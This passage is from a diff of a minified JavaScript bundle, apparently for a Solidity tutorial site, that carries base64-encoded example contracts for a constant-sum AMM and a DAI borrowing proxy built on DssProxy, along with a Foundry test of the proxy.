lcykgLyB0b3RhbFN1cHBseTsKCiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgX3VwZGF0ZShyZXNlcnZlMCAtIGQwLCByZXNlcnZlMSAtIGQxKTsKCiAgICAgICAgaWYgKGQwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXIobXNnLnNlbmRlciwgZDApOwogICAgICAgIH0KICAgICAgICBpZiAoZDEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBkMSk7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],cm=`

                    Constant sum AMM X + Y = K

                    Tokens trade one to one.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -4279,7 +4279,7 @@ specify the location of the data.
                    
         external
         returns (bool);
 }
-
                    `,tm=({prev:s,next:a})=>r.jsx(u,{version:nm,title:lm,description:pm,html:cm,prev:s,next:a,codes:em}),om="0.8.24",rm="DAI Proxy Examples",im="Borrow and repay DAI using DssProxy",gm=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFBST1hZX1JFR0lTVFJZID0gMHg0Njc4ZjBhNjk1OGU0RDJCYzRGMUJBRjdCYzUyRThGMzU2NGYzZkU0OwphZGRyZXNzIGNvbnN0YW50IFBST1hZX0FDVElPTlMgPSAweDgyZWNEMTM1RGNlNjVGYmM2RGJkRDBlNDIzN0UwQUY5M0ZGRDUwMzg7CmFkZHJlc3MgY29uc3RhbnQgQ0RQX01BTkFHRVIgPSAweDVlZjMwYjk5ODYzNDUyNDliYzMyZDg5MjhCN2VlNjRERTk0MzVFMzk7CmFkZHJlc3MgY29uc3RhbnQgSlVHID0gMHgxOWMwOTc2ZjU5MEQ2NzcwN0U2MjM5N0M4NzgyOWQ4OTZEYzBmMUYxOwphZGRyZXNzIGNvbnN0YW50IEpPSU5fRVRIX0MgPSAweEYwNGE1Y0M4MEIxRTk0QzY5QjQ4ZjVlZTY4YTA4Q0QyRjA5QTdjM0U7CmFkZHJlc3MgY29uc3RhbnQgSk9JTl9EQUkgPSAweDk3NTlBNkFjOTA5NzdiOTNCNTg1NDdiNEE3MWM3ODMxN2YzOTFBMjg7CgpieXRlczMyIGNvbnN0YW50IEVUSF9DID0KICAgIDB4NDU1NDQ4MmQ0MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDsKCmNvbnRyYWN0IERhaVByb3h5IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgYWRkcmVzcyBwdWJsaWMgaW1tdXRhYmxlIHByb3h5OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGNkcElkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIHByb3h5ID0gSURzc1Byb3h5UmVnaXN0cnkoUFJPWFlfUkVHSVNUUlkpLmJ1aWxkKCk7CiAgICAgICAgYnl0ZXMzMiByZXMgPSBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElEc3NQcm94eUFjdGlvbnMub3BlbiwgKENEUF9NQU5BR0VSLCBFVEhfQywgcHJveHkpKQogICAgICAgICk7CiAgICAgICAgY2RwSWQgPSB1aW50MjU2KHJlcyk7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBsb2NrRXRoKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRle3ZhbHVlOiBtc2cudmFsdWV9KAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMubG9ja0VUSCwgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gYm9ycm93KHVpbnQyNTYgZGFpQW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMuZHJhdywKICAgICAgICAgICAgICAgIChDRFBfTUFOQUdFUiwgSlVHLCBKT0lOX0RBSSwgY2RwSWQsIGRhaUFtb3VudCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVwYXkodWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgZGFpQW1vdW50KTsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy53aXBlLCAoQ0RQX01BTkFHRVIsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheUFsbCgpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGVBbGwsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmxvY2tFdGgodWludDI1NiBldGhBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5mcmVlRVRILAogICAgICAgICAgICAgICAgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCwgZXRoQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElEc3NQcm94eVJlZ2lzdHJ5IHsKICAgIGZ1bmN0aW9uIGJ1aWxkKCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyBwcm94eSk7Cn0KCmludGVyZmFjZSBJRHNzUHJveHkgewogICAgZnVuY3Rpb24gZXhlY3V0ZShhZGRyZXNzIHRhcmdldCwgYnl0ZXMgbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiByZXMpOwp9CgppbnRlcmZhY2UgSURzc1Byb3h5QWN0aW9ucyB7CiAgICBmdW5jdGlvbiBvcGVuKGFkZHJlc3MgY2RwTWFuYWdlciwgYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBjZHBJZCk7CiAgICBmdW5jdGlvbiBsb2NrRVRIKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBldGhKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIGRyYXcoCiAgICAgICAgYWRkcmVzcyBjZHBNYW5hZ2VyLAogICAgICAgIGFkZHJlc3MganVnLAogICAgICAgIGFkZHJlc3MgZGFpSm9pbiwKICAgICAgICB1aW50MjU2IGNkcElkLAogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50CiAgICApIGV4dGVybmFsOwogICAgZnVuY3Rpb24gd2lwZSgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBkYWlKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBkYWlBbW91bnQKICAgICkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB3aXBlQWxsKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBkYWlKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gZnJlZUVUSCgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBldGhKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBjb2xsYXRlcmFsQW1vdW50CiAgICApIGV4dGVybmFsOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzcmMsIGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"DaiProxyTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICIuLi8uLi8uLi9zcmMvZGVmaS9kYWktcHJveHkvRGFpUHJveHkuc29sIjsKCmFkZHJlc3MgY29uc3RhbnQgVkFUID0gMHgzNUQxYjNGM0Q3OTY2QTFERmUyMDdhYTQ1MTRDMTJhMjU5QTA0OTJCOwoKdWludDI1NiBjb25zdGFudCBXQUQgPSAxZTE4Owp1aW50MjU2IGNvbnN0YW50IFJBWSA9IDFlMjc7CnVpbnQyNTYgY29uc3RhbnQgUkFEID0gMWU0NTsKCnVpbnQyNTYgY29uc3RhbnQgRVRIX0FNT1VOVCA9IDEwMCAqIDFlMTg7CnVpbnQyNTYgY29uc3RhbnQgREFJX0FNT1VOVCA9IDEwMDAwICogMWUxODsKCmNvbnRyYWN0IERhaVByb3h5VGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSUNkcE1hbmFnZXIgcHJpdmF0ZSBjb25zdGFudCBjZHBNYW5hZ2VyID0gSUNkcE1hbmFnZXIoQ0RQX01BTkFHRVIpOwogICAgSVZhdCBwcml2YXRlIGNvbnN0YW50IHZhdCA9IElWYXQoVkFUKTsKICAgIERhaVByb3h5IHByaXZhdGUgcHJveHk7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHByb3h5ID0gbmV3IERhaVByb3h5KCk7CgogICAgICAgIC8vIENoZWNrIG1pbiBib3Jyb3cKICAgICAgICBJVmF0LklsayBtZW1vcnkgaWxrID0gdmF0Lmlsa3MoRVRIX0MpOwogICAgICAgIGFzc2VydEdlKERBSV9BTU9VTlQgKiBSQVksIGlsay5kdXN0LCAiREFJIGJvcnJvdyBhbW91bnQgPCBkdXN0Iik7CgogICAgICAgIC8vIEludGVyZXN0IHJhdGUgYWNjdW11bGF0b3IKICAgICAgICBjb25zb2xlMi5sb2coImlsay5yYXRlIiwgaWxrLnJhdGUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHByaW50KGFkZHJlc3MgdXJuQWRkcikgcHJpdmF0ZSB7CiAgICAgICAgSVZhdC5Vcm4gbWVtb3J5IHVybiA9IHZhdC51cm5zKEVUSF9DLCB1cm5BZGRyKTsKICAgICAgICBjb25zb2xlMi5sb2coIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBjb2xsYXRlcmFsIFt3YWRdIiwgdXJuLmluayk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBkZWJ0ICAgICAgIFt3YWRdIiwgdXJuLmFydCk7CiAgICAgICAgY29uc29sZTIubG9nKCJEQUkgaW4gcHJveHkgICAgIFt3YWRdIiwgZGFpLmJhbGFuY2VPZihhZGRyZXNzKHByb3h5KSkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiRVRIIGluIHByb3h5ICAgICBbd2FkXSIsIGFkZHJlc3MocHJveHkpLmJhbGFuY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfcHJveHkoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgY2RwSWQgPSBwcm94eS5jZHBJZCgpOwogICAgICAgIGFkZHJlc3MgdXJuQWRkciA9IGNkcE1hbmFnZXIudXJucyhjZHBJZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiQmVmb3JlIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmxvY2tFdGh7dmFsdWU6IEVUSF9BTU9VTlR9KCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmJvcnJvdyhEQUlfQU1PVU5UKTsKICAgICAgICBjb25zb2xlMi5sb2coIiIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHBhcnRpYWwgcmVwYXkgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHJlcGF5IGFsbCBEQUkiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkudW5sb2NrRXRoKEVUSF9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUyLmxvZygiIik7CiAgICAgICAgY29uc29sZTIubG9nKCJBZnRlciB1bmxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CiAgICB9Cn0KCmludGVyZmFjZSBJVmF0IHsKICAgIC8vIENvbGxhdGVyYWwgdHlwZQogICAgc3RydWN0IElsayB7CiAgICAgICAgdWludDI1NiBBcnQ7IC8vIFRvdGFsIG5vcm1hbGl6ZWQgZGVidCAgICAgIFt3YWRdCiAgICAgICAgdWludDI1NiByYXRlOyAvLyBBY2N1bXVsYXRlZCByYXRlcyAgICAgICAgIFtyYXldCiAgICAgICAgdWludDI1NiBzcG90OyAvLyBQcmljZSB3aXRoIHNhZmV0eSBtYXJnaW4gIFtyYXldCiAgICAgICAgdWludDI1NiBsaW5lOyAvLyBEZWJ0IGNlaWxpbmcgICAgICAgICAgICAgIFtyYWRdCiAgICAgICAgdWludDI1NiBkdXN0OyAvLyBVcm4gZGVidCBmbG9vciAgICAgICAgICAgIFtyYWRdCiAgICB9CgogICAgLy8gVmF1bHQKICAgIHN0cnVjdCBVcm4gewogICAgICAgIHVpbnQyNTYgaW5rOyAvLyBMb2NrZWQgY29sbGF0ZXJhbCAgW3dhZF0KICAgICAgICB1aW50MjU2IGFydDsgLy8gTm9ybWFsaXNlZCBkZWJ0ICAgIFt3YWRdCiAgICB9CgogICAgZnVuY3Rpb24gaWxrcyhieXRlczMyIGlsaykgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChJbGsgbWVtb3J5KTsKICAgIGZ1bmN0aW9uIHVybnMoYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChVcm4gbWVtb3J5KTsKfQoKaW50ZXJmYWNlIElDZHBNYW5hZ2VyIHsKICAgIGZ1bmN0aW9uIHVybnModWludDI1NiBjZHBJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHVybik7Cn0K"}],hm=`

                    Example

                    +`,tm=({prev:s,next:a})=>r.jsx(A,{version:nm,title:lm,description:pm,html:cm,prev:s,next:a,codes:em}),om="0.8.24",rm="DAI Proxy Examples",im="Borrow and repay DAI using DssProxy",gm=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFBST1hZX1JFR0lTVFJZID0gMHg0Njc4ZjBhNjk1OGU0RDJCYzRGMUJBRjdCYzUyRThGMzU2NGYzZkU0OwphZGRyZXNzIGNvbnN0YW50IFBST1hZX0FDVElPTlMgPSAweDgyZWNEMTM1RGNlNjVGYmM2RGJkRDBlNDIzN0UwQUY5M0ZGRDUwMzg7CmFkZHJlc3MgY29uc3RhbnQgQ0RQX01BTkFHRVIgPSAweDVlZjMwYjk5ODYzNDUyNDliYzMyZDg5MjhCN2VlNjRERTk0MzVFMzk7CmFkZHJlc3MgY29uc3RhbnQgSlVHID0gMHgxOWMwOTc2ZjU5MEQ2NzcwN0U2MjM5N0M4NzgyOWQ4OTZEYzBmMUYxOwphZGRyZXNzIGNvbnN0YW50IEpPSU5fRVRIX0MgPSAweEYwNGE1Y0M4MEIxRTk0QzY5QjQ4ZjVlZTY4YTA4Q0QyRjA5QTdjM0U7CmFkZHJlc3MgY29uc3RhbnQgSk9JTl9EQUkgPSAweDk3NTlBNkFjOTA5NzdiOTNCNTg1NDdiNEE3MWM3ODMxN2YzOTFBMjg7CgpieXRlczMyIGNvbnN0YW50IEVUSF9DID0KICAgIDB4NDU1NDQ4MmQ0MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDsKCmNvbnRyYWN0IERhaVByb3h5IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgYWRkcmVzcyBwdWJsaWMgaW1tdXRhYmxlIHByb3h5OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGNkcElkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIHByb3h5ID0gSURzc1Byb3h5UmVnaXN0cnkoUFJPWFlfUkVHSVNUUlkpLmJ1aWxkKCk7CiAgICAgICAgYnl0ZXMzMiByZXMgPSBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElEc3NQcm94eUFjdGlvbnMub3BlbiwgKENEUF9NQU5BR0VSLCBFVEhfQywgcHJveHkpKQogICAgICAgICk7CiAgICAgICAgY2RwSWQgPSB1aW50MjU2KHJlcyk7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBsb2NrRXRoKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRle3ZhbHVlOiBtc2cudmFsdWV9KAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMubG9ja0VUSCwgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gYm9ycm93KHVpbnQyNTYgZGFpQW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMuZHJhdywKICAgICAgICAgICAgICAgIChDRFBfTUFOQUdFUiwgSlVHLCBKT0lOX0RBSSwgY2RwSWQsIGRhaUFtb3VudCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVwYXkodWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgZGFpQW1vdW50KTsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy53aXBlLCAoQ0RQX01BTkFHRVIsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheUFsbCgpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGVBbGwsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmxvY2tFdGgodWludDI1NiBldGhBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5mcmVlRVRILAogICAgICAgICAgICAgICAgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCwgZXRoQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElEc3NQcm94eVJlZ2lzdHJ5IHsKICAgIGZ1bmN0aW9uIGJ1aWxkKCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyBwcm94eSk7Cn0KCmludGVyZmFjZSBJRHNzUHJveHkgewogICAgZnVuY3Rpb24gZXhlY3V0ZShhZGRyZXNzIHRhcmdldCwgYnl0ZXMgbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiByZXMpOwp9CgppbnRlcmZhY2UgSURzc1Byb3h5QWN0aW9ucyB7CiAgICBmdW5jdGlvbiBvcGVuKGFkZHJlc3MgY2RwTWFuYWdlciwgYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBjZHBJZCk7CiAgICBmdW5jdGlvbiBsb2NrRVRIKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBldGhKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIGRyYXcoCiAgICAgICAgYWRkcmVzcyBjZHBNYW5hZ2VyLAogICAgICAgIGFkZHJlc3MganVnLAogICAgICAgIGFkZHJlc3MgZGFpSm9pbiwKICAgICAgICB1aW50MjU2IGNkcElkLAogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50CiAgICApIGV4dGVybmFsOwogICAgZnVuY3Rpb24gd2lwZSgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBkYWlKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBkYWlBbW91bnQKICAgICkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB3aXBlQWxsKGFkZHJlc3MgY2RwTWFuYWdlciwgYWRkcmVzcyBkYWlKb2luLCB1aW50MjU2IGNkcElkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gZnJlZUVUSCgKICAgICAgICBhZGRyZXNzIGNkcE1hbmFnZXIsCiAgICAgICAgYWRkcmVzcyBldGhKb2luLAogICAgICAgIHVpbnQyNTYgY2RwSWQsCiAgICAgICAgdWludDI1NiBjb2xsYXRlcmFsQW1vdW50CiAgICApIGV4dGVybmFsOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzcmMsIGFkZHJlc3MgZHN0LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"DaiProxyTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc